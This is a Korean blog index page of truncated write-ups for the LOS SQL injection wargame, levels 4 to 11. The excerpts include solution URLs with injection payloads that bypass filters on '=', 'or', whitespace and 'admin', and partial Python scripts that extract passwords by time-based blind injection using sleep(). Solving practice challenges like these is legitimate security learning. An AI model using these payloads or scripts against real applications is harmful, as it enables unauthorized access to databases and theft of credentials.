본문 바로가기

728x90
반응형

Hacking

(35)
[LOS] 11. golem 여태 나온 time based sqli 문제들이랑 똑같은 유형이다 다만 '='을 필터링하여 사용하지 못하게 했는데, 이는 SQL 문법에서 like로 대신 가능하다. 또한 'substr(' 문자열도 필터링 걸어놨는데 이는 그냥 substring으로 우회 가능하다. import requests url ='https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw=' #url 주소 입력 def find_pw_len(): pw_len=0 while 1: pw_len=pw_len+1 value = "' || id like 'admin' %26%26 if(length(pw) like {}, sleep(3), 1)%23".format(pw_le..
[LOS] 10. skeleton id=admin이 되면 풀림, 그냥 or 문 넣고 id=admin 넣고 뒤에 구문(and 1=0)은 주석 처리하면 풀림 정답 : https://los.rubiya.kr/chall/skeleton_a857a5ab24431d6fb4a00577dac0f39c.php?pw=%27or%20%20id=%27admin%27%23 https://los.rubiya.kr/chall/skeleton_a857a5ab24431d6fb4a00577dac0f39c.php?pw=%27or++id%3D%27admin%27%23 los.rubiya.kr
[LOS] 9. vampire 전 문제랑 똑같이 그냥 id 값에 admin이 들어가기만 하면 되지만 필터링이 걸려있음 이번엔 대문자로 넣어도 소문자로 바꾼다 그리고 admin을 작성하면 공백으로 바뀐다. 그래서 그냥 a + admin + dmin을 넣어주면 됨 정답 : https://los.rubiya.kr/chall/vampire_e3f1ef853da067db37f342f3a1881156.php?id=aadmindmin https://los.rubiya.kr/chall/vampire_e3f1ef853da067db37f342f3a1881156.php?id=aadmindmin los.rubiya.kr
[LOS] 8. troll id에 admin이 들어가면 풀리는 문제. 다만, admin 문자열을 필터링 걸어놨다. 따라서 우회해야함~ 정답: https://los.rubiya.kr/chall/troll_05b5eb65d94daf81c42dd44136cb0063.php?id=AdMIn https://los.rubiya.kr/chall/troll_05b5eb65d94daf81c42dd44136cb0063.php?id=AdMIn los.rubiya.kr
[LOS] 7. orge 4번 orc 문제를 풀 때, 뭐가 잘못되어서 비밀번호의 길이를 구하는 코드가 작동하지 않는다고 했는데 지나가시던 우리의 뉴스쿨 갓 선배님께서 id가 'admin'으로 특정되지 않아서 4자리 숫자인 비밀번호를 가진 데이터를 먼저 불러와서 그렇다는 댓글을 남겨주셨다.(아리가또-센빠이☆) 그래서 천천히 코드를 다시보니 거의 막줄에 아래와 같은 코드가 있었다. $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 결국 마지막에 저 쿼리가 실행되니 id='admin'의 조건을 넣었어야 했다. 그래서 결국 아래의 코드와 같이 완전하게 비밀번호의 길이와 비밀번호를 알려주는 파이썬의 코드를 짰다. import requests url ='h..
[LOS] 6. darkelf 어째 아직까지 3번만큼 어려웠던 문제가 안나오는 것 같다. 간단하게 문자열 'or' 필터링을 bypass하면 되는 문제이다. 정답: https://los.rubiya.kr/chall/darkelf_c6a5ed64c4f6a7a5595c24977376136b.php?pw=%27%20 ||%20id=%27admin%27%23 https://los.rubiya.kr/chall/darkelf_c6a5ed64c4f6a7a5595c24977376136b.php?pw=%27+ los.rubiya.kr
[LOS] 5. wolfman 약간 쉬어가는(?) 느낌적인 문제 아래의 코드를 보면 공백이 들어가면 필터링에 걸리기 때문에 이를 %0a로 우회해서 id=admin만 되면 문제가 풀린다. if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); 답: https://los.rubiya.kr/chall/wolfman_4fdc56b75971e41981e3d1e2fbe9b7f7.php?pw=%27%0aor%0aid=%27admin%27%23
[LOS] 4. orc if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 상기 조건문을 통해, 실제 pw 데이터와 일치하는 비밀번호 값을 입력해야지 문제가 풀리는 것을 확인하였다. 제일 먼저 떠오른 풀이 방법은 Time Based SQL Injection 기법을 이용하여 pw 값을 밝혀내는 것이었다. 그래서 직접 아래와 같이 파이썬 코드를 짜보았다. import requests url ='https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=' #url 주소 입력 def find_pw(): pw_len=8 string='' for pw_value in range(1,pw_len+1)..

728x90
반응형